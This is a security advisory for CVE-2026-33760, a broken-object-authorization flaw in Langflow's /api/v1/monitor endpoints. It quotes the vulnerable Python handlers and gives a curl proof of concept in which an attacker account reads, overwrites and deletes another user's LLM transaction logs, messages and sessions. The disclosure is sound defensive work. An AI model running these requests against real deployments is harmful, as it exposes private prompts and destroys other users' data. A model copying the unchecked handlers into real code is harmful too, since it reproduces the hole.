CVE-2026-33760

Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources, messages, sessions, build artifacts, and LLM transaction logs, without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.

Details

Source file: src/backend/base/langflow/api/v1/monitor.py

The correct pattern (used only in GET /monitor/messages, lines 77–80):

stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced

All 7 vulnerable endpoints are missing this guard:

1. GET /api/v1/monitor/builds (lines 27–33), reads build data for any flow_id:

@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check
    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)

2. DELETE /api/v1/monitor/messages (lines 102–107), deletes any message by UUID:

@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
    # message_ids accepted verbatim, no ownership check

3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134), overwrites any message:

db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)

4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171), renames any session:

stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188), bulk-deletes any session:

await session.exec(
    delete(MessageTable).where(col(MessageTable.session_id) == session_id)
    # no ownership filter
)

6. GET /api/v1/monitor/transactions (lines 191–211), reads LLM prompt/response logs for any flow_id:

stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

7. DELETE /api/v1/monitor/builds, deletes build records for any flow_id:
Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.

PoC

Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).

# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=langflow&password=langflow" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=attacker_test&password=Attacker123" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Victim creates a flow (attacker only needs to know the flow_id, obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200, full transaction log returned including user prompts and model responses

# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200

# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '["<victim_message_id>"]'
# HTTP 204, message deleted

# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200, message overwritten, "edit":true set

# PoC 5: Rename victim's session
curl -s -X PATCH \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200, session renamed

# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 204, entire session deleted

All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.